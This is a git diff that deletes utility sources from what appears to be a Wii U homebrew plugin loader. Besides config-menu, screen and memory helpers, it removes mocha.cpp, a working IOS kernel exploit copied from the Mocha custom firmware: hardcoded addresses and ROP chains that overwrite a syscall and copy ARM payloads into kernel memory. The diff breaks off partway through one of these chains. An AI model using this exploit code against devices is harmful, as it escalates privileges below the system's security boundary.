-    overlay_helper(WUPS_OVERLAY_DRC_AND_TV_WITH_DRC_PRIO, configMenuOpenedCallback, (void*) &configs);
-}
-
-std::vector<ConfigInformation *> ConfigUtils::getConfigInformation() {
-    std::vector<ConfigInformation *> configs;
-    for(int32_t plugin_index=0; plugin_index<gbl_replacement_data.number_used_plugins; plugin_index++) {
-        replacement_data_plugin_t * plugin_data = &gbl_replacement_data.plugin_data[plugin_index];
-        if(plugin_data == NULL) {
-            continue;
-        }
-        for(int32_t j=0; j<plugin_data->number_used_hooks; j++) {
-            replacement_data_hook_t * hook_data = &plugin_data->hooks[j];
-            if(hook_data->type == WUPS_LOADER_HOOK_GET_CONFIG) {
-                if(hook_data->func_pointer == NULL) {
-                    break;
-                }
-                void * func_ptr = hook_data->func_pointer;
-                WUPSConfig * cur_config = ((WUPSConfig* (*)(void))((uint32_t*)func_ptr) )();
-                DCFlushRange(cur_config, sizeof(WUPSConfig));
-                if(cur_config != NULL) {
-                    std::string fullPath(plugin_data->path);
-                    std::string path = fullPath.substr(0, fullPath.find_last_of("/"));
-                    size_t filenamePos = fullPath.find_last_of("/")+1;
-                    std::string filename = fullPath.substr(filenamePos, fullPath.find_last_of(".") - filenamePos);
-                    ConfigInformation * configInfo = new ConfigInformation(cur_config, path, filename.append(PLUGIN_CONFIG_FILE_EXT));
-                    configs.push_back(configInfo);
-                }
-            }
-        }
-    }
-    return configs;
-}
-
-void ConfigUtils::deleteConfigInformation(std::vector<ConfigInformation *> configs) {
-    for (auto & curConfig : configs) {
-        delete curConfig;
-    }
-}
-
-void ConfigUtils::loadConfigFromSD() {
-    std::vector<ConfigInformation *> configInfos = getConfigInformation();
-
-    for (auto & curConfig : configInfos) {
-        curConfig->loadValuesFromSD();
-    }
-
-    deleteConfigInformation(configInfos);
-}
-
-void ConfigUtils::saveConfigToSD() {
-    std::vector<ConfigInformation *> configInfos = getConfigInformation();
-
-    for (auto & curConfig : configInfos) {
-        curConfig->updateAndSaveSettings(true);
-    }
-
-    deleteConfigInformation(configInfos);
-}
-
-void ConfigUtils::openConfigMenu() {
-    std::vector<ConfigInformation *> configInfos = getConfigInformation();
-
-    // We rely on the default values here.
-    //if(loadFromSD){
-    //    for (auto & curConfig : configInfos) {
-    //        configs.loadValuesFromSD();
-    //    }
-    //}
-
-    std::vector<WUPSConfig *> configs;
-
-    for (auto & curConfig : configInfos) {
-        configs.push_back(curConfig->getConfig());
-    }
-
-    for (auto & curConfig : configs) {
-        DCFlushRange(curConfig, sizeof(WUPSConfig));
-    }
-
-    ConfigUtils::openConfigMenu(configs);
-
-    for (auto & curConfig : configs) {
-        DCFlushRange(curConfig, sizeof(WUPSConfig));
-    }
-
-    for (auto & curConfig : configInfos) {
-        curConfig->updateAndSaveSettings(false);
-    }
-
-    deleteConfigInformation(configInfos);
-}
diff --git a/src/myutils/ConfigUtils.h b/src/myutils/ConfigUtils.h
deleted file mode 100644
index daea4f3..0000000
--- a/src/myutils/ConfigUtils.h
+++ /dev/null
@@ -1,87 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-#ifndef __CONFIG_UTILS_H_
-#define __CONFIG_UTILS_H_
-
-#include <wups.h>
-#include <wups/config/WUPSConfig.h>
-#include "ConfigInformation.h"
-
-class ConfigUtils {
-
-public:
-    /**
-        Loads the configuration files of all loaded plugins from the SDCard
-        and triggers the "callback" if they differ the default/current value.
-    **/
-    static void loadConfigFromSD();
-
-    /**
-       Get the current values from all plugins via the WUPS_GET_CONFIG() hook and
-       save them to the SD Card.
-    **/
-    static void saveConfigToSD();
-
-    /**
-        Opens the configuration menu where plugins can be configured.
-        Plugins need to implement the WUPS_GET_CONFIG() hook to show up in the menu.
-        The menu will be rendered on the TV and DRC screen, with optimization for the DRC.
-        If the memory is low, the menu may be only rendered to the DRC.
-    **/
-    static void openConfigMenu();
-
-private:
-    ConfigUtils() {}
-    ~ConfigUtils() {}
-
-    /**
-        Opens the configuration menu for a list of WUPSConfig.
-        If a configuration menu context could be created successfully, "configMenuOpenedCallback"
-        will be called, with the configs as an argument.
-    **/
-    static void openConfigMenu(std::vector<WUPSConfig*> configs);
-
-    /**
-        The callback that renders the configuration menu.
-        The args parameter expects a "std::vector<WUPSConfig*> *".
-        Depending on the screen
-    **/
-    static void configMenuOpenedCallback(wups_overlay_options_type_t screen, void * args);
-
-    /**
-        Gets the ConfigInformation for all loaded plugin that have implemented
-        the WUPS_GET_CONFIG() hook.
-
-        This triggers creating ConfigInformation objects.
-        ConfigInformation objects load the corresponding configuration file for a plugin
-        from the sd card. It also calls the "loadValue" function if a loaded value differs from the
-        default value. This behaviour may change in the future.
-        See the ConfigInformation class for more information.
-    **/
-    static std::vector<ConfigInformation *> getConfigInformation();
-
-    /**
-        Delete a list of ConfigInformation.
-        The destructor of "ConfigInformation" causes the configuration files for the plugin
-        to be written to the sd card (if the value have changed). This behaviour may change
-        in the future. See the ConfigInformation class for more information.
-    **/
-    static void deleteConfigInformation(std::vector<ConfigInformation *> configs);
-
-};
-
-#endif
diff --git a/src/myutils/ScreenUtils.cpp b/src/myutils/ScreenUtils.cpp
deleted file mode 100644
index e75dfc1..0000000
--- a/src/myutils/ScreenUtils.cpp
+++ /dev/null
@@ -1,69 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-#include <utils/logger.h>
-#include <wups.h>
-#include <stdarg.h>
-#include "dynamic_libs/os_functions.h"
-#include "ScreenUtils.h"
-
-void ScreenUtils::printTextOnScreen(wups_overlay_options_type_t screen, int x,int y, const char * msg, ...) {
-    if(screen == WUPS_OVERLAY_NONE) {
-        return;
-    }
-
-    char * tmp = NULL;
-
-    va_list va;
-    va_start(va, msg);
-    if((vasprintf(&tmp, msg, va) >= 0) && tmp) {
-        if(screen != WUPS_OVERLAY_DRC_ONLY) { // Draw TV if it's not DRC exclusive.
-            OSScreenPutFontEx(0, x, y, tmp);
-        }
-        if(screen != WUPS_OVERLAY_TV_ONLY) { // Draw DRC if it's not TV exclusive.
-            OSScreenPutFontEx(1, x, y, tmp);
-        }
-    }
-    va_end(va);
-
-    if(tmp) {
-        free(tmp);
-    }
-}
-
-void ScreenUtils::OSScreenClear(wups_overlay_options_type_t screen) {
-    if(screen == WUPS_OVERLAY_NONE) {
-        return;
-    }
-    if(screen != WUPS_OVERLAY_DRC_ONLY) { // Clear TV if it's not DRC exclusive.
-        OSScreenClearBufferEx(0, 0);
-    }
-    if(screen != WUPS_OVERLAY_TV_ONLY) { // Clear DRC if it's not TV exclusive.
-        OSScreenClearBufferEx(1, 0);
-    }
-}
-
-void ScreenUtils::flipBuffers(wups_overlay_options_type_t screen) {
-    if(screen == WUPS_OVERLAY_NONE) {
-        return;
-    }
-    if(screen != WUPS_OVERLAY_DRC_ONLY) { // Flip TV buffer if it's not DRC exclusive.
-        OSScreenFlipBuffersEx(0);
-    }
-    if(screen != WUPS_OVERLAY_TV_ONLY) { // Flip DRC buffer if it's not TV exclusive.
-        OSScreenFlipBuffersEx(1);
-    }
-}
diff --git a/src/myutils/ScreenUtils.h b/src/myutils/ScreenUtils.h
deleted file mode 100644
index b6fc82b..0000000
--- a/src/myutils/ScreenUtils.h
+++ /dev/null
@@ -1,50 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-#ifndef __SCREEN_UTILS_H_
-#define __SCREEN_UTILS_H_
-
-class ScreenUtils {
-public:
-    /**
-        Clears the screen for the given screens
-        \param screen defines on which screens should be printed
-        \param x defines the x position (character position) where the text should be printed
-        \param y defines on which line the text should be printed
-        \param msg C string that contains the text to be printed.
-               It can optionally contain embedded format specifiers that are replaced by the values specified in subsequent additional arguments and formatted as requested.
-               See printf for more information
-        \param ... Depending on the format string, the function may expect a sequence of additional arguments, each containing a value to be used to replace a format specifier in the format string
-    **/
-    static void printTextOnScreen(wups_overlay_options_type_t screen, int x,int y, const char * msg, ...);
-
-    /**
-        Clears the screen for the given screens
-        \param screen defines which screens should be cleared
-    **/
-    static void OSScreenClear(wups_overlay_options_type_t screen);
-
-    /**
-        Flips the buffer for the given screens
-        \param screen defines which screens should be flipped.
-    **/
-    static void flipBuffers(wups_overlay_options_type_t screen);
-private:
-    ScreenUtils() {}
-    ~ScreenUtils() {}
-
-};
-#endif
diff --git a/src/myutils/libfat.cpp b/src/myutils/libfat.cpp
deleted file mode 100644
index 5819f92..0000000
--- a/src/myutils/libfat.cpp
+++ /dev/null
@@ -1,24 +0,0 @@
-#include <utils/logger.h>
-#include "libfat.h"
-#include <iosuhax.h>
-#include <fat.h>
-#include "common/retain_vars.h"
-
-#define LIBFAT_WIIU_DEFAULT_CACHE_PAGES 4
-#define LIBFAT_WIIU_DEFAULT_SECTORS_PAGE 64
-
-
-int32_t mount_libfatAll() {
-    int32_t res = -1;
-    if((res = fatInitEx (LIBFAT_WIIU_DEFAULT_CACHE_PAGES, true, LIBFAT_WIIU_DEFAULT_SECTORS_PAGE)) >= 0) {
-        DEBUG_FUNCTION_LINE("fatInitDefault success\n");
-        return 0;
-    } else {
-        DEBUG_FUNCTION_LINE("fatInitDefault failed %d\n",res);
-    }
-    return -1;
-}
-
-void unmount_libfat(const char * path) {
-    fatUnmount(path);
-}
diff --git a/src/myutils/libfat.h b/src/myutils/libfat.h
deleted file mode 100644
index 6c3721c..0000000
--- a/src/myutils/libfat.h
+++ /dev/null
@@ -1,17 +0,0 @@
-#ifndef __LIBFAT_MOUNT_H_
-#define __LIBFAT_MOUNT_H_
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#include <stdint.h>
-
-int32_t mount_libfatAll();
-void unmount_libfat(const char * path);
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif
diff --git a/src/myutils/libntfs.cpp b/src/myutils/libntfs.cpp
deleted file mode 100644
index 1f6a9e7..0000000
--- a/src/myutils/libntfs.cpp
+++ /dev/null
@@ -1,40 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <utils/logger.h>
-#include "libntfs.h"
-#include <iosuhax.h>
-//#include <ntfs.h>
-#include "common/retain_vars.h"
-
-int32_t mountAllNTFS() {
-    /*int32_t i;
-    // Mount all NTFS volumes on all inserted block devices
-    ntfs_mount_count = ntfsMountAll((ntfs_md **) &ntfs_mounts, NTFS_DEFAULT | NTFS_RECOVER);
-    if (ntfs_mount_count == -1) {
-        DEBUG_FUNCTION_LINE("Error whilst mounting devices.\n");
-    } else if (ntfs_mount_count == 0) {
-        DEBUG_FUNCTION_LINE("No NTFS volumes were found and/or mounted.\n");
-    } else {
-        DEBUG_FUNCTION_LINE("%i NTFS volumes(s) mounted!\n", ntfs_mount_count);
-    }
-    // List all mounted NTFS volumes
-    for (i = 0; i < ntfs_mount_count; i++) {
-        DEBUG_FUNCTION_LINE("%i - %s:/ (%s)\n", i + 1, ((ntfs_md *)ntfs_mounts)[i].name, ntfsGetVolumeName(((ntfs_md *)ntfs_mounts)[i].name));
-    }
-    return ntfs_mount_count;*/
-    return 0;
-}
-
-int32_t unmountAllNTFS(void) {
-    /*if (ntfs_mounts) {
-        int32_t i = 0;
-        for (i = 0; i < ntfs_mount_count; i++) {
-            ntfsUnmount(((ntfs_md *)ntfs_mounts)[i].name, true);
-        }
-        free(ntfs_mounts);
-        ntfs_mounts = NULL;
-        ntfs_mount_count = 0;
-    }*/
-    return 0;
-}
diff --git a/src/myutils/libntfs.h b/src/myutils/libntfs.h
deleted file mode 100644
index a9d12e1..0000000
--- a/src/myutils/libntfs.h
+++ /dev/null
@@ -1,7 +0,0 @@
-#ifndef __LIBNTFS_MOUNT_H_
-#define __LIBNTFS_MOUNT_H_
-
-int32_t mountAllNTFS(void);
-int32_t unmountAllNTFS();
-
-#endif
diff --git a/src/myutils/mem_utils.cpp b/src/myutils/mem_utils.cpp
deleted file mode 100644
index 66c30d2..0000000
--- a/src/myutils/mem_utils.cpp
+++ /dev/null
@@ -1,37 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-#include <utils/logger.h>
-#include <wups.h>
-#include <stdarg.h>
-#include "dynamic_libs/os_functions.h"
-#include "mem_utils.h"
-#include "mymemory/memory_mapping.h"
-
-
-int32_t memHandle __attribute__((section(".data"))) = -1;
-
-void MemoryUtils::init() {
-    memHandle = MEMCreateExpHeapEx((void*)MemoryMapping::getVideoMemoryAddress(), MemoryMapping::getVideoMemorySize(), 0);
-}
-
-void* MemoryUtils::alloc(uint32_t size, int32_t align) {
-    return MEMAllocFromExpHeapEx(memHandle,size, align);
-}
-
-void MemoryUtils::free(void * ptr) {
-    MEMFreeToExpHeap(memHandle,ptr);
-}
diff --git a/src/myutils/mocha.cpp b/src/myutils/mocha.cpp
deleted file mode 100644
index a14df81..0000000
--- a/src/myutils/mocha.cpp
+++ /dev/null
@@ -1,430 +0,0 @@
-/**
-Copy pasted from MOCHA!
-https://raw.githubusercontent.com/dimok789/mocha/
-**/
-
-#include <string.h>
-#include <stdio.h>
-#include <dynamic_libs/os_functions.h>
-#include <utils/logger.h>
-#include "mocha.h"
-
-#define ALIGN4(x)           (((x) + 3) & ~3)
-
-#define CHAIN_START         0x1016AD40
-#define SHUTDOWN            0x1012EE4C
-#define SIMPLE_RETURN       0x101014E4
-#define SOURCE              (0x120000)
-#define IOS_CREATETHREAD    0x1012EABC
-#define ARM_CODE_BASE       0x08135000
-#define REPLACE_SYSCALL     0x081298BC
-
-//extern const uint8_t launch_image_tga[];
-//extern const uint32_t launch_image_tga_size;
-
-static void uhs_exploit_init(int32_t uhs_handle, cfw_config_t * config);
-static int32_t uhs_write32(int32_t uhs_handle, int32_t arm_addr, int32_t val);
-
-//!------Variables used in exploit------
-static int32_t *pretend_root_hub = (int32_t*)0xF5003ABC;
-static int32_t *ayylmao = (int32_t*)0xF4500000;
-//!-------------------------------------
-
-typedef struct {
-    uint32_t size;
-    uint8_t data[0];
-} payload_info_t;
-
-/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
-#include "../mocha/ios_kernel/ios_kernel.bin.h"
-#include "../mocha/ios_usb/ios_usb.bin.h"
-#include "../mocha/ios_fs/ios_fs.bin.h"
-#include "../mocha/ios_bsp/ios_bsp.bin.h"
-#include "../mocha/ios_mcp/ios_mcp.bin.h"
-#include "../mocha/ios_acp/ios_acp.bin.h"
-
-
-/* ROP CHAIN STARTS HERE (0x1015BD78) */
-static const uint32_t final_chain[] = {
-    0x101236f3,        // 0x00      POP {R1-R7,PC}
-    0x0,               // 0x04      arg
-    0x0812974C,        // 0x08      stackptr     CMP R3, #1; STREQ R1, [R12]; BX LR
-    0x68,              // 0x0C      stacksize
-    0x10101638,        // 0x10
-    0x0,               // 0x14
-    0x0,               // 0x18
-    0x0,               // 0x1C
-    0x1010388C,        // 0x20      CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
-    0x0,               // 0x24
-    0x0,               // 0x28
-    0x1012CFEC,        // 0x2C      MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x30
-    0x0,               // 0x34
-    IOS_CREATETHREAD,  // 0x38
-    0x1,               // 0x3C
-    0x2,               // 0x40
-    0x10123a9f,        // 0x44      POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x00, // 0x48      address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0xE92D4010,        // 0x4C      value: PUSH {R4,LR}
-    0x0,               // 0x50
-    0x10123a8b,        // 0x54      POP {R3,R4,PC}
-    0x1,               // 0x58      R3 must be 1 for the arbitrary write
-    0x0,               // 0x5C
-    0x1010CD18,        // 0x60      MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x64
-    0x0,               // 0x68
-    0x1012EE64,        // 0x6C      set_panic_behavior (arbitrary write)
-    0x0,               // 0x70
-    0x0,               // 0x74
-    0x10123a9f,        // 0x78      POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x04, // 0x7C      address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0xE1A04000,        // 0x80      value: MOV R4, R0
-    0x0,               // 0x84
-    0x10123a8b,        // 0x88      POP {R3,R4,PC}
-    0x1,               // 0x8C      R3 must be 1 for the arbitrary write
-    0x0,               // 0x90
-    0x1010CD18,        // 0x94      MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x98
-    0x0,               // 0x9C
-    0x1012EE64,        // 0xA0      set_panic_behavior (arbitrary write)
-    0x0,               // 0xA4
-    0x0,               // 0xA8
-    0x10123a9f,        // 0xAC      POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x08, // 0xB0      address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0xE3E00000,        // 0xB4      value: MOV R0, #0xFFFFFFFF
-    0x0,               // 0xB8
-    0x10123a8b,        // 0xBC      POP {R3,R4,PC}
-    0x1,               // 0xC0      R3 must be 1 for the arbitrary write
-    0x0,               // 0xC4
-    0x1010CD18,        // 0xC8      MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0xCC
-    0x0,               // 0xD0
-    0x1012EE64,        // 0xD4      set_panic_behavior (arbitrary write)
-    0x0,               // 0xD8
-    0x0,               // 0xDC
-    0x10123a9f,        // 0xE0      POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x0C, // 0xE4      address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0xEE030F10,        // 0xE8      value: MCR   P15, #0, R0, C3, C0, #0 (set dacr to R0)
-    0x0,               // 0xEC
-    0x10123a8b,        // 0xF0      POP {R3,R4,PC}
-    0x1,               // 0xF4      R3 must be 1 for the arbitrary write
-    0x0,               // 0xF8
-    0x1010CD18,        // 0xFC      MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x100
-    0x0,               // 0x104
-    0x1012EE64,        // 0x108     set_panic_behavior (arbitrary write)
-    0x0,               // 0x10C
-    0x0,               // 0x110
-    0x10123a9f,        // 0x114     POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x10, // 0x118     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0xE1A00004,        // 0x11C     value: MOV R0, R4
-    0x0,               // 0x120
-    0x10123a8b,        // 0x124     POP {R3,R4,PC}
-    0x1,               // 0x128     R3 must be 1 for the arbitrary write
-    0x0,               // 0x12C
-    0x1010CD18,        // 0x130     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x134
-    0x0,               // 0x138
-    0x1012EE64,        // 0x13C     set_panic_behavior (arbitrary write)
-    0x0,               // 0x140
-    0x0,               // 0x144
-    0x10123a9f,        // 0x148     POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x14, // 0x14C     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0xE12FFF33,        // 0x150     value: BLX R3 KERNEL_MEMCPY
-    0x0,               // 0x154
-    0x10123a8b,        // 0x158     POP {R3,R4,PC}
-    0x1,               // 0x15C     R3 must be 1 for the arbitrary write
-    0x0,               // 0x160
-    0x1010CD18,        // 0x164     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x168
-    0x0,               // 0x16C
-    0x1012EE64,        // 0x170     set_panic_behavior (arbitrary write)
-    0x0,               // 0x174
-    0x0,               // 0x178
-    0x10123a9f,        // 0x148     POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x18, // 0x14C     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0x00000000,        // 0x150     value: NOP
-    0x0,               // 0x154
-    0x10123a8b,        // 0x158     POP {R3,R4,PC}
-    0x1,               // 0x15C     R3 must be 1 for the arbitrary write
-    0x0,               // 0x160
-    0x1010CD18,        // 0x164     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x168
-    0x0,               // 0x16C
-    0x1012EE64,        // 0x170     set_panic_behavior (arbitrary write)
-    0x0,               // 0x174
-    0x0,               // 0x178
-    0x10123a9f,        // 0x148     POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x1C, // 0x14C     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0xEE17FF7A,        // 0x150     value: clean_loop: MRC p15, 0, r15, c7, c10, 3
-    0x0,               // 0x154
-    0x10123a8b,        // 0x158     POP {R3,R4,PC}
-    0x1,               // 0x15C     R3 must be 1 for the arbitrary write
-    0x0,               // 0x160
-    0x1010CD18,        // 0x164     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x168
-    0x0,               // 0x16C
-    0x1012EE64,        // 0x170     set_panic_behavior (arbitrary write)
-    0x0,               // 0x174
-    0x0,               // 0x178
-    0x10123a9f,        // 0x148     POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x20, // 0x14C     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0x1AFFFFFD,        // 0x150     value: BNE clean_loop
-    0x0,               // 0x154
-    0x10123a8b,        // 0x158     POP {R3,R4,PC}
-    0x1,               // 0x15C     R3 must be 1 for the arbitrary write
-    0x0,               // 0x160
-    0x1010CD18,        // 0x164     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x168
-    0x0,               // 0x16C
-    0x1012EE64,        // 0x170     set_panic_behavior (arbitrary write)
-    0x0,               // 0x174
-    0x0,               // 0x178
-    0x10123a9f,        // 0x148     POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x24, // 0x14C     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0xEE070F9A,        // 0x150     value: MCR p15, 0, R0, c7, c10, 4
-    0x0,               // 0x154
-    0x10123a8b,        // 0x158     POP {R3,R4,PC}
-    0x1,               // 0x15C     R3 must be 1 for the arbitrary write
-    0x0,               // 0x160
-    0x1010CD18,        // 0x164     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x168
-    0x0,               // 0x16C
-    0x1012EE64,        // 0x170     set_panic_behavior (arbitrary write)
-    0x0,               // 0x174
-    0x0,               // 0x178
-    0x10123a9f,        // 0x17C     POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x28, // 0x180     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0xE1A03004,        // 0x184     value: MOV R3, R4
-    0x0,               // 0x188
-    0x10123a8b,        // 0x18C     POP {R3,R4,PC}
-    0x1,               // 0x190     R3 must be 1 for the arbitrary write
-    0x0,               // 0x194
-    0x1010CD18,        // 0x198     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x19C
-    0x0,               // 0x1A0
-    0x1012EE64,        // 0x1A4     set_panic_behavior (arbitrary write)
-    0x0,               // 0x1A8
-    0x0,               // 0x1AC
-    0x10123a9f,        // 0x17C     POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x2C, // 0x180     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0xE8BD4010,        // 0x184     value: POP {R4,LR}
-    0x0,               // 0x188
-    0x10123a8b,        // 0x18C     POP {R3,R4,PC}
-    0x1,               // 0x190     R3 must be 1 for the arbitrary write
-    0x0,               // 0x194
-    0x1010CD18,        // 0x198     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x19C
-    0x0,               // 0x1A0
-    0x1012EE64,        // 0x1A4     set_panic_behavior (arbitrary write)
-    0x0,               // 0x1A8
-    0x0,               // 0x1AC
-    0x10123a9f,        // 0x1B0     POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL + 0x30, // 0x1B4     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
-    0xE12FFF13,        // 0x1B8     value: BX R3 our code :-)
-    0x0,               // 0x1BC
-    0x10123a8b,        // 0x1C0     POP {R3,R4,PC}
-    0x1,               // 0x1C4     R3 must be 1 for the arbitrary write
-    0x0,               // 0x1C8
-    0x1010CD18,        // 0x1CC     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,               // 0x1D0
-    0x0,               // 0x1D4
-    0x1012EE64,        // 0x1D8     set_panic_behavior (arbitrary write)
-    0x0,               // 0x1DC
-    0x0,               // 0x1E0
-    0x10123a9f,        // 0x1E4     POP {R0,R1,R4,PC}
-    REPLACE_SYSCALL,        // 0x1DC     start of syscall IOS_GetUpTime64
-    0x4001,            // 0x1E0     on > 0x4000 it flushes all data caches
-    0x0,               // 0x1E0
-    0x1012ED4C,        // 0x1E4     IOS_FlushDCache(void *ptr, uint32_t len)
-    0x0,               // 0x1DC
-    0x0,               // 0x1E0
-    0x10123a9f,        // 0x1E4     POP {R0,R1,R4,PC}
-    ARM_CODE_BASE,     // 0x1E8     our code destination address
-    0x0,               // 0x1EC
-    0x0,               // 0x1F0
-    0x101063db,        // 0x1F4     POP {R1,R2,R5,PC}
-    0x0,               // 0x1F8
-    sizeof(ios_kernel_bin),   // 0x1FC     our code size
-    0x0,               // 0x200
-    0x10123983,        // 0x204     POP {R1,R3,R4,R6,PC}
-    0x00140000,        // 0x208     our code source location
-    0x08131D04,        // 0x20C     KERNEL_MEMCPY address
-    0x0,               // 0x210
-    0x0,               // 0x214
-    0x1012EBB4,        // 0x218     IOS_GetUpTime64 (privileged stack pivot)
-    0x0,
-    0x0,
-    0x101312D0,
-};
-
-static const int32_t second_chain[] = {
-    0x10123a9f, // 0x00         POP {R0,R1,R4,PC}
-    CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000,     // 0x04         destination
-    0x0,        // 0x08
-    0x0,        // 0x0C
-    0x101063db, // 0x10         POP {R1,R2,R5,PC}
-    0x00130000, // 0x14         source
-    sizeof(final_chain),          // 0x18         length
-    0x0,        // 0x1C
-    0x10106D4C, // 0x20         BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
-    0x0,        // 0x24
-    0x0,        // 0x28
-    0x101236f3, // 0x2C         POP {R1-R7,PC}
-    0x0,        // 0x30         arg
-    0x101001DC, // 0x34         stackptr
-    0x68,       // 0x38         stacksize
-    0x10101634, // 0x3C         proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
-    0x0,        // 0x40
-    0x0,        // 0x44
-    0x0,        // 0x48
-    0x1010388C, // 0x4C         CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
-    0x0,        // 0x50
-    0x0,        // 0x54
-    0x1012CFEC, // 0x58         MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
-    0x0,        // 0x5C
-    0x0,        // 0x60
-    IOS_CREATETHREAD, // 0x64
-    0x1,        // 0x68         priority
-    0x2,        // 0x6C         flags
-    0x0,        // 0x70
-    0x0,        // 0x74
-    0x101063db, // 0x78         POP {R1,R2,R5,PC}
-    0x0,        // 0x7C
-    -(0x240 + 0x18 + 0xF000), // 0x80  stack offset
-    0x0,        // 0x84
-    0x101141C0, // 0x88         MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
-    0x0,
-    0x0,
-    0x0,
-    0x00110000 - 0x44, // 0x8C
-    0x00110010,        // 0x90
-    0x0,        // 0x94
-    0x0,        // 0x98
-    0x0,        // 0x9C
-    0x0,        // 0xA0
-    0x0,        // 0xA4
-    0x4,        // 0xA8         R11 must equal 4 in order to pivot the stack
-    0x101088F4, //              STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
-    0x0,
